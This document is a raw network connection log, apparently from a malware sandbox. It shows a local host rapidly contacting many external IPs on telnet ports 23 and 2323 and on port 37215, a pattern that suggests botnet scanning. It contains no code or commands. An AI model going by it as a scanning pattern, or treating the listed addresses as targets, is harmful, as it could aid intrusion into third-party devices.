Nov 3, 2024 15:33:04.942831993 CET	59110	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:04.942955017 CET	23	38868	174.11.30.87	192.168.2.14
Nov 3, 2024 15:33:04.943238020 CET	37215	52884	156.9.19.35	192.168.2.14
Nov 3, 2024 15:33:04.943273067 CET	52884	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:04.943423986 CET	37215	39572	197.101.8.217	192.168.2.14
Nov 3, 2024 15:33:04.943569899 CET	23	50308	104.120.197.44	192.168.2.14
Nov 3, 2024 15:33:04.943737984 CET	49474	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:04.943782091 CET	37215	50810	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:04.943823099 CET	57258	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:04.944462061 CET	23	51852	220.94.249.244	192.168.2.14
Nov 3, 2024 15:33:04.944473028 CET	23	35970	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:04.944504976 CET	51852	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:04.944533110 CET	37215	44126	197.69.184.15	192.168.2.14
Nov 3, 2024 15:33:04.944701910 CET	37215	39270	197.45.148.89	192.168.2.14
Nov 3, 2024 15:33:04.944742918 CET	39270	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:04.945010900 CET	39572	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:04.945012093 CET	50810	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:04.945012093 CET	44126	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:04.945012093 CET	38868	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:04.945014000 CET	50308	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:04.945012093 CET	36852	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:04.945012093 CET	35970	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:04.945621967 CET	38836	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:04.945869923 CET	60994	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:04.945887089 CET	23	59716	198.175.87.210	192.168.2.14
Nov 3, 2024 15:33:04.946154118 CET	37215	34128	156.197.244.29	192.168.2.14
Nov 3, 2024 15:33:04.946429014 CET	23	57492	124.217.5.131	192.168.2.14
Nov 3, 2024 15:33:04.946485043 CET	57492	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:04.946718931 CET	37215	52734	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:04.946773052 CET	52734	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:04.947592974 CET	38726	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:04.947750092 CET	23	59110	124.151.144.57	192.168.2.14
Nov 3, 2024 15:33:04.947899103 CET	49326	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:04.948211908 CET	37215	52884	156.9.19.35	192.168.2.14
Nov 3, 2024 15:33:04.948461056 CET	23	49474	12.80.90.209	192.168.2.14
Nov 3, 2024 15:33:04.948509932 CET	49474	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:04.948632002 CET	37215	57258	156.98.94.204	192.168.2.14
Nov 3, 2024 15:33:04.948672056 CET	57258	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:04.949002981 CET	59110	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:04.949007034 CET	52884	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:04.949007034 CET	34128	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:04.949011087 CET	59716	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:04.949430943 CET	23	51852	220.94.249.244	192.168.2.14
Nov 3, 2024 15:33:04.949546099 CET	37215	39270	197.45.148.89	192.168.2.14
Nov 3, 2024 15:33:04.949793100 CET	49956	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:04.950009108 CET	43170	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:04.950372934 CET	2323	38836	209.9.141.12	192.168.2.14
Nov 3, 2024 15:33:04.950412035 CET	38836	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:04.950639963 CET	37215	60994	41.135.218.72	192.168.2.14
Nov 3, 2024 15:33:04.950685978 CET	60994	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:04.951519012 CET	23	57492	124.217.5.131	192.168.2.14
Nov 3, 2024 15:33:04.951667070 CET	37215	52734	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:04.952342987 CET	23	38726	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:04.952368021 CET	38738	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:04.952393055 CET	38726	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:04.952655077 CET	37215	49326	41.82.16.126	192.168.2.14
Nov 3, 2024 15:33:04.952717066 CET	49326	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:04.953010082 CET	39270	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:04.953011036 CET	51852	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:04.953011990 CET	57492	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:04.953022957 CET	52734	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:04.953413010 CET	40468	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:04.953784943 CET	60076	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:04.954052925 CET	23	49474	12.80.90.209	192.168.2.14
Nov 3, 2024 15:33:04.954169035 CET	37215	57258	156.98.94.204	192.168.2.14
Nov 3, 2024 15:33:04.954550982 CET	37215	49956	197.146.167.175	192.168.2.14
Nov 3, 2024 15:33:04.954622984 CET	49956	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:04.954698086 CET	23	43170	76.244.142.178	192.168.2.14
Nov 3, 2024 15:33:04.954735994 CET	43170	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:04.955225945 CET	2323	38836	209.9.141.12	192.168.2.14
Nov 3, 2024 15:33:04.955322981 CET	56254	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:04.955415010 CET	53956	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:04.955485106 CET	37215	60994	41.135.218.72	192.168.2.14
Nov 3, 2024 15:33:04.957003117 CET	57258	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:04.957005024 CET	38836	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:04.957010031 CET	60994	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:04.957010031 CET	49474	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:04.957173109 CET	58322	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:04.957175016 CET	37215	38738	197.122.174.144	192.168.2.14
Nov 3, 2024 15:33:04.957217932 CET	38738	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:04.957489014 CET	52932	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:04.957557917 CET	37215	49326	41.82.16.126	192.168.2.14
Nov 3, 2024 15:33:04.958194971 CET	23	40468	208.146.14.98	192.168.2.14
Nov 3, 2024 15:33:04.958240032 CET	40468	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:04.958527088 CET	37215	60076	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:04.958578110 CET	60076	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:04.958925962 CET	38176	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:04.959068060 CET	38062	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:04.959589958 CET	37215	49956	197.146.167.175	192.168.2.14
Nov 3, 2024 15:33:04.959667921 CET	23	43170	76.244.142.178	192.168.2.14
Nov 3, 2024 15:33:04.960047007 CET	23	56254	153.84.54.160	192.168.2.14
Nov 3, 2024 15:33:04.960093021 CET	56254	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:04.960128069 CET	37215	53956	197.185.236.65	192.168.2.14
Nov 3, 2024 15:33:04.960167885 CET	53956	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:04.960906029 CET	33078	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:04.961000919 CET	43170	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:04.961003065 CET	49326	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:04.961003065 CET	49956	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:04.961461067 CET	35572	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:04.961957932 CET	23	58322	4.190.209.79	192.168.2.14
Nov 3, 2024 15:33:04.961998940 CET	58322	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:04.962049007 CET	56710	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:04.962110043 CET	37215	38738	197.122.174.144	192.168.2.14
Nov 3, 2024 15:33:04.962198973 CET	37215	52932	197.164.122.124	192.168.2.14
Nov 3, 2024 15:33:04.962241888 CET	52932	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:04.963227034 CET	23	40468	208.146.14.98	192.168.2.14
Nov 3, 2024 15:33:04.963512897 CET	37215	60076	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:04.963956118 CET	37215	38176	41.183.11.39	192.168.2.14
Nov 3, 2024 15:33:04.963968992 CET	23	38062	148.109.114.29	192.168.2.14
Nov 3, 2024 15:33:04.963990927 CET	38176	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:04.964008093 CET	38062	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:04.964209080 CET	51558	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:04.964437962 CET	60220	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:04.964998007 CET	38738	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:04.965033054 CET	40468	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:04.965034962 CET	60076	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:04.965128899 CET	23	56254	153.84.54.160	192.168.2.14
Nov 3, 2024 15:33:04.965455055 CET	37215	53956	197.185.236.65	192.168.2.14
Nov 3, 2024 15:33:04.965687037 CET	1420	33078	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:04.965740919 CET	33078	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:04.966104031 CET	45272	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:04.966214895 CET	37215	35572	156.7.119.130	192.168.2.14
Nov 3, 2024 15:33:04.966254950 CET	35572	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:04.966571093 CET	49370	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:04.966892004 CET	23	58322	4.190.209.79	192.168.2.14
Nov 3, 2024 15:33:04.967060089 CET	23	56710	107.237.69.15	192.168.2.14
Nov 3, 2024 15:33:04.967097998 CET	56710	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:04.967140913 CET	37215	52932	197.164.122.124	192.168.2.14
Nov 3, 2024 15:33:04.968472004 CET	33078	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:04.968838930 CET	43450	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:04.969003916 CET	56254	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:04.969011068 CET	58322	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:04.969011068 CET	52932	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:04.969011068 CET	53956	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:04.969069004 CET	35962	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:04.969077110 CET	37215	51558	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:04.969120979 CET	51558	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:04.969186068 CET	37215	38176	41.183.11.39	192.168.2.14
Nov 3, 2024 15:33:04.969294071 CET	23	38062	148.109.114.29	192.168.2.14
Nov 3, 2024 15:33:04.969424009 CET	23	60220	95.34.63.61	192.168.2.14
Nov 3, 2024 15:33:04.969477892 CET	60220	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:04.970707893 CET	54068	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:04.970837116 CET	1420	33078	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:04.970892906 CET	33078	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:04.970942020 CET	41500	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:04.971038103 CET	37215	45272	41.110.52.200	192.168.2.14
Nov 3, 2024 15:33:04.971080065 CET	45272	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:04.971267939 CET	37215	35572	156.7.119.130	192.168.2.14
Nov 3, 2024 15:33:04.971369028 CET	23	49370	125.6.47.19	192.168.2.14
Nov 3, 2024 15:33:04.971415043 CET	49370	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:04.972168922 CET	23	56710	107.237.69.15	192.168.2.14
Nov 3, 2024 15:33:04.972949028 CET	33178	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:04.972999096 CET	56710	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:04.973006010 CET	38176	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:04.973006964 CET	35572	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:04.973011017 CET	38062	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:04.973185062 CET	52584	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:04.973535061 CET	1420	33078	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:04.974041939 CET	37215	43450	197.218.170.223	192.168.2.14
Nov 3, 2024 15:33:04.974055052 CET	23	35962	149.198.132.209	192.168.2.14
Nov 3, 2024 15:33:04.974088907 CET	43450	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:04.974097967 CET	35962	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:04.974297047 CET	37215	51558	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:04.974598885 CET	23	60220	95.34.63.61	192.168.2.14
Nov 3, 2024 15:33:04.974859953 CET	41778	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:04.974982023 CET	46202	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:04.975505114 CET	37215	54068	197.146.206.253	192.168.2.14
Nov 3, 2024 15:33:04.975543022 CET	54068	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:04.975670099 CET	1420	33078	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:04.975748062 CET	2323	41500	164.104.163.42	192.168.2.14
Nov 3, 2024 15:33:04.975822926 CET	41500	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:04.975980043 CET	37215	45272	41.110.52.200	192.168.2.14
Nov 3, 2024 15:33:04.976303101 CET	23	49370	125.6.47.19	192.168.2.14
Nov 3, 2024 15:33:04.976479053 CET	52212	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:04.976769924 CET	41574	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:04.977015018 CET	51558	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:04.977739096 CET	37215	33178	197.206.23.158	192.168.2.14
Nov 3, 2024 15:33:04.977778912 CET	33178	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:04.977916956 CET	23	52584	168.146.104.161	192.168.2.14
Nov 3, 2024 15:33:04.977967978 CET	52584	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:04.978281021 CET	40088	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:04.978374004 CET	51760	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:04.979038000 CET	37215	43450	197.218.170.223	192.168.2.14
Nov 3, 2024 15:33:04.979207039 CET	23	35962	149.198.132.209	192.168.2.14
Nov 3, 2024 15:33:04.979728937 CET	23	41778	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:04.979772091 CET	41778	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:04.979779959 CET	37215	46202	197.39.77.74	192.168.2.14
Nov 3, 2024 15:33:04.979821920 CET	46202	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:04.980097055 CET	52408	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:04.980324030 CET	37810	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:04.980380058 CET	37215	54068	197.146.206.253	192.168.2.14
Nov 3, 2024 15:33:04.980772972 CET	2323	41500	164.104.163.42	192.168.2.14
Nov 3, 2024 15:33:04.981004953 CET	45272	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:04.981004953 CET	54068	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:04.981005907 CET	43450	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:04.981009007 CET	60220	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:04.981028080 CET	49370	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:04.981028080 CET	41500	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:04.981029034 CET	35962	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:04.981185913 CET	23	52212	210.46.140.34	192.168.2.14
Nov 3, 2024 15:33:04.981229067 CET	52212	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:04.981523991 CET	37215	41574	156.198.30.156	192.168.2.14
Nov 3, 2024 15:33:04.981575966 CET	41574	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:04.981661081 CET	40868	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:04.982259035 CET	38356	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:04.982554913 CET	37215	33178	197.206.23.158	192.168.2.14
Nov 3, 2024 15:33:04.982772112 CET	23	52584	168.146.104.161	192.168.2.14
Nov 3, 2024 15:33:04.983087063 CET	23	40088	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:04.983127117 CET	40088	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:04.983140945 CET	37215	51760	197.119.212.153	192.168.2.14
Nov 3, 2024 15:33:04.983194113 CET	51760	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:04.983537912 CET	35190	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:04.983751059 CET	41106	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:04.984745979 CET	23	41778	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:04.985003948 CET	37215	46202	197.39.77.74	192.168.2.14
Nov 3, 2024 15:33:04.985016108 CET	41778	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:04.985167980 CET	23	52408	58.242.158.172	192.168.2.14
Nov 3, 2024 15:33:04.985177994 CET	37215	37810	41.249.78.239	192.168.2.14
Nov 3, 2024 15:33:04.985219002 CET	52408	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:04.985223055 CET	37810	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:04.985444069 CET	50116	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:04.985708952 CET	46858	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:04.986171961 CET	23	52212	210.46.140.34	192.168.2.14
Nov 3, 2024 15:33:04.986377001 CET	37215	41574	156.198.30.156	192.168.2.14
Nov 3, 2024 15:33:04.986458063 CET	23	40868	36.203.78.30	192.168.2.14
Nov 3, 2024 15:33:04.986496925 CET	40868	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:04.987061024 CET	37215	38356	156.211.166.247	192.168.2.14
Nov 3, 2024 15:33:04.987102985 CET	38356	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:04.987222910 CET	51676	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:04.987340927 CET	42234	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:04.988567114 CET	23	35190	66.67.58.9	192.168.2.14
Nov 3, 2024 15:33:04.988576889 CET	37215	51760	197.119.212.153	192.168.2.14
Nov 3, 2024 15:33:04.988586903 CET	37215	41106	41.198.128.222	192.168.2.14
Nov 3, 2024 15:33:04.988621950 CET	41106	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:04.988629103 CET	35190	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:04.988982916 CET	36170	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:04.989006996 CET	46202	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:04.989006996 CET	33178	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:04.989007950 CET	41574	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:04.989010096 CET	52212	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:04.989010096 CET	52584	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:04.989010096 CET	51760	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:04.989226103 CET	36386	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:04.990068913 CET	23	52408	58.242.158.172	192.168.2.14
Nov 3, 2024 15:33:04.990154028 CET	37215	37810	41.249.78.239	192.168.2.14
Nov 3, 2024 15:33:04.990257025 CET	23	50116	79.182.16.153	192.168.2.14
Nov 3, 2024 15:33:04.990298033 CET	50116	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:04.990436077 CET	37215	46858	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:04.990492105 CET	46858	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:04.990592957 CET	36438	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:04.991242886 CET	55908	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:04.991411924 CET	23	40868	36.203.78.30	192.168.2.14
Nov 3, 2024 15:33:04.991931915 CET	37215	38356	156.211.166.247	192.168.2.14
Nov 3, 2024 15:33:04.992017031 CET	37215	51676	156.132.222.235	192.168.2.14
Nov 3, 2024 15:33:04.992064953 CET	51676	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:04.992105007 CET	23	42234	72.37.180.64	192.168.2.14
Nov 3, 2024 15:33:04.992146969 CET	42234	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:04.992532015 CET	43092	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:04.993002892 CET	37810	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:04.993002892 CET	38356	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:04.993005991 CET	40868	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:04.993010998 CET	52408	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:04.993247032 CET	48700	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:04.993444920 CET	37215	41106	41.198.128.222	192.168.2.14
Nov 3, 2024 15:33:04.993576050 CET	23	35190	66.67.58.9	192.168.2.14
Nov 3, 2024 15:33:04.993689060 CET	37215	36170	156.233.106.32	192.168.2.14
Nov 3, 2024 15:33:04.993735075 CET	36170	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:04.993979931 CET	2323	36386	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:04.994021893 CET	36386	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:04.994539022 CET	36272	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:04.995171070 CET	23	50116	79.182.16.153	192.168.2.14
Nov 3, 2024 15:33:04.995260000 CET	51852	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:04.995378017 CET	37215	36438	41.102.52.117	192.168.2.14
Nov 3, 2024 15:33:04.995388031 CET	37215	46858	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:04.995426893 CET	36438	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:04.995990038 CET	23	55908	66.43.145.95	192.168.2.14
Nov 3, 2024 15:33:04.996031046 CET	55908	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:04.996195078 CET	58704	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:04.997000933 CET	46858	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:04.997001886 CET	37215	51676	156.132.222.235	192.168.2.14
Nov 3, 2024 15:33:04.997003078 CET	41106	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:04.997005939 CET	35190	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:04.997005939 CET	50116	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:04.997128010 CET	23	42234	72.37.180.64	192.168.2.14
Nov 3, 2024 15:33:04.997137070 CET	38918	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:04.997307062 CET	37215	43092	156.79.77.68	192.168.2.14
Nov 3, 2024 15:33:04.997349977 CET	43092	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:04.997906923 CET	39844	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:04.998049021 CET	23	48700	18.89.87.117	192.168.2.14
Nov 3, 2024 15:33:04.998096943 CET	48700	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:04.998620987 CET	37215	36170	156.233.106.32	192.168.2.14
Nov 3, 2024 15:33:04.998842955 CET	2323	36386	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:04.998862982 CET	39366	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:04.999238968 CET	37215	36272	197.31.225.2	192.168.2.14
Nov 3, 2024 15:33:04.999280930 CET	36272	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:04.999452114 CET	33770	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:04.999953985 CET	23	51852	68.78.197.131	192.168.2.14
Nov 3, 2024 15:33:05.000010014 CET	51852	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:05.000344038 CET	37215	36438	41.102.52.117	192.168.2.14
Nov 3, 2024 15:33:05.000659943 CET	58256	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:05.000812054 CET	23	55908	66.43.145.95	192.168.2.14
Nov 3, 2024 15:33:05.000916958 CET	37215	58704	156.253.95.85	192.168.2.14
Nov 3, 2024 15:33:05.000958920 CET	58704	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:05.001005888 CET	55908	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:05.001005888 CET	36386	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:05.001007080 CET	36170	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:05.001007080 CET	36438	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:05.001009941 CET	42234	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:05.001009941 CET	51676	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:05.001390934 CET	39372	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:05.002017021 CET	23	38918	58.236.76.205	192.168.2.14
Nov 3, 2024 15:33:05.002059937 CET	38918	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:05.002191067 CET	37215	43092	156.79.77.68	192.168.2.14
Nov 3, 2024 15:33:05.002273083 CET	47428	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:05.002638102 CET	37215	39844	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:05.002692938 CET	39844	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.003077030 CET	23	48700	18.89.87.117	192.168.2.14
Nov 3, 2024 15:33:05.003177881 CET	54486	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:05.003643036 CET	23	39366	194.229.95.42	192.168.2.14
Nov 3, 2024 15:33:05.003683090 CET	39366	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:05.004184008 CET	37215	36272	197.31.225.2	192.168.2.14
Nov 3, 2024 15:33:05.004236937 CET	37215	33770	197.153.87.52	192.168.2.14
Nov 3, 2024 15:33:05.004240990 CET	39900	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:05.004280090 CET	33770	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:05.004853964 CET	41216	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.005006075 CET	36272	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:05.005007982 CET	48700	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:05.005031109 CET	43092	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:05.005225897 CET	23	51852	68.78.197.131	192.168.2.14
Nov 3, 2024 15:33:05.005381107 CET	23	58256	93.197.117.16	192.168.2.14
Nov 3, 2024 15:33:05.005425930 CET	58256	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:05.005881071 CET	37215	58704	156.253.95.85	192.168.2.14
Nov 3, 2024 15:33:05.006140947 CET	37215	39372	156.53.179.243	192.168.2.14
Nov 3, 2024 15:33:05.006150961 CET	39720	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.006186962 CET	39372	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:05.006819963 CET	53232	37215	192.168.2.14	41.71.163.79
